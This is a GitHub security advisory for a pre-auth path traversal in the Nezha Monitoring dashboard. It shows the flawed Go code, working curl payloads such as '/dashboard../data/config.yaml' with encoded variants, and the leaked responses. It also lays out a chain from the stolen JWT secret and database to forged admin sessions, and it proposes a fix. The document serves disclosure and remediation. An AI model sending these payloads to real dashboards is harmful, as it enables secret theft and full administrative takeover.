Skip to content

Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key

Critical severity GitHub Reviewed Published May 31, 2026 in nezhahq/nezha • Updated Jun 26, 2026

Package

gomod github.com/nezhahq/nezha (Go)

Affected versions

< 2.0.13

Patched versions

2.0.13

Description

Summary

fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required.

In default deployments (the values shipped in model/config.go and the layout shipped in the project Dockerfile) data/config.yaml contains the HS256 jwt_secret_key used by cmd/dashboard/controller/jwt.go to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.

Details

Root cause

// cmd/dashboard/controller/controller.go @ 636f4a9
387:    fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
388:    if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
389:        stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
390:        localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
391:        if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
392:            return
393:        }
// cmd/dashboard/controller/controller.go @ 636f4a9
322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
323:     checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
324:         if _, err := os.Stat(path); err == nil {
325:             http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
326:             return true
327:         }

fallbackToFrontend is wired as the catch-all at cmd/dashboard/controller/controller.go:157r.NoRoute(fallbackToFrontend(frontendDist)) — so every URL not matched by an earlier route reaches it, including pre-auth.

Path math (verified, see appendix)

Input URL.Path TrimPrefix(..., "/dashboard") path.Join("admin-dist", ...) Reachable file
/dashboard/login /login admin-dist/login legitimate, intended
/dashboard/../data/config.yaml /../data/config.yaml data/config.yaml but blocked by Go http.ServeFile's URL ..-segment guard → 400
/dashboard../data/config.yaml ../data/config.yaml data/config.yaml served, 200
/dashboard%2e%2e/data/config.yaml ../data/config.yaml (decoded) data/config.yaml served, 200
/dashboard..%2fdata/config.yaml ../data/config.yaml (decoded) data/config.yaml served, 200

The negative control (/dashboard/../data/config.yaml) lands at the same on-disk path after path.Join, but is rejected by http.ServeFile because Go's stdlib enforces a URL-level traversal guard that fires when the request URL itself contains a standalone .. segment. The bypass works because in /dashboard../... the first URL segment is the single token dashboard.. — no standalone .. — so the stdlib guard does not trigger. The traversal segment is created after TrimPrefix, downstream of every defense.

Why the existing defenses miss

  1. The prefix check is a substring test on the raw URL string, not a segment test. dashboard and dashboard.. are both accepted.
  2. path.Join silently Cleans the result — so the .. is consumed correctly to escape admin-dist, with no error returned to indicate escape.
  3. Go's http.ServeFile stdlib guard fires only on URLs with a standalone .. segment (per net/http.containsDotDot). The payload puts the dots inside the first segment instead.
  4. No anchored "is this still under the template root?" check exists after path.Join.

PoC

Setup

TARGET:        github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef
HARNESS:       stdlib-only port — see Appendix A
WORKDIR:       tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db
TIME-TO-REPRO: first request

The harness plants this data/config.yaml:

debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
  brand: nezha-repro

Observed responses

Primary payload — pre-auth secret disclosure:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 167
Content-Type: application/yaml
Last-Modified: Sun, 24 May 2026 12:16:23 GMT
Date: Sun, 24 May 2026 12:16:25 GMT
 
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
  brand: nezha-repro

Negative control — Go stdlib guard rejects the canonical form:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
 
invalid URL path

Encoded-dot variant — bypass also works:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]

Encoded-slash variant — bypass also works:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]

Double-encoded — confirms the bypass requires single-level encoding:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 30
Content-Type: text/html; charset=utf-8
 
<html>admin frontend OK</html>

The literal %252e%252e does not decode to .., so the path becomes admin-dist/%2e%2e/data/config.yaml (no escape), os.Stat fails, and the handler falls through to serving admin-dist/index.html — no secret disclosure.

Encoded leading slash — also blocked at the stdlib layer:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'
HTTP/1.1 400 Bad Request
 
invalid URL path

SQLite database exfil — same primitive:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'
HTTP/1.1 200 OK
Content-Length: 42
 
SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY

Sanity checks

  • Normal /dashboard/ request still serves admin-dist/index.html with HTTP 200 — the bypass does not regress legitimate behavior.
  • Requests to /api/... still hit the JSON-404 branch — the bypass is isolated to the /dashboard fallback.

Impact

Direct primitive

Unauth read of any file in the dashboard's working directory subtree reachable by escaping admin-dist one level. In default deployments that includes:

File Default path Why it matters
data/config.yaml from -c flag default (cmd/dashboard/main.go:104) Contains jwt_secret_key (signing key, HS256), agent_secret_key, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets
data/sqlite.db from -db flag default (cmd/dashboard/main.go:105) Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs

Chain to administrative account takeover (verified path)

  1. Read configGET /dashboard../data/config.yaml returns plaintext YAML containing jwt_secret_key.
  2. Read databaseGET /dashboard../data/sqlite.db returns the SQLite file; an attacker opens it and reads the users table to recover admin user IDs (and any other claims the JWT references).
  3. Forge a JWT — the dashboard's JWT middleware at cmd/dashboard/controller/jwt.go:22,27 is wired with:
    Key:              []byte(singleton.Conf.JWTSecretKey),
    SigningAlgorithm: "HS256",
    CookieName:       "nz-jwt",
    IdentityKey:      model.CtxKeyAuthorizedUser,
    HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose user_id claim matches the admin user from step 2 and attaches it as the nz-jwt cookie (or Authorization: Bearer ...).
  4. Operate as admin — every admin handler (adminHandler chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings.
    The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.

Suggested fix

Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root before any filesystem call. Minimal diff:

- if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
-     stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
+ if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") {
+     stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/")
+     cleanPath := path.Clean("/" + stripPath)
+     if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") {
+         c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found")))
+         return
+     }
      localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)

The /dashboard -> /dashboard/ redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in frontendPageUrlRegistry.

The same hardening should be applied to the user-template branch (lines 399–405), which uses the same path.Join pattern with singleton.Conf.UserTemplate. While the /dashboard prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled URL.Path to that branch would re-introduce the same primitive.

A defense-in-depth alternative is to replace the local os.Stat + http.ServeFile branch with a http.FileServer(http.FS(subFS)) rooted at the embedded admin-dist subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.

References

@naiba naiba published to nezhahq/nezha May 31, 2026
Published by the National Vulnerability Database Jun 12, 2026
Published to the GitHub Advisory Database Jun 26, 2026
Reviewed Jun 26, 2026
Last updated Jun 26, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(36th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-53519

GHSA ID

GHSA-5c25-7vpj-9mqh

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.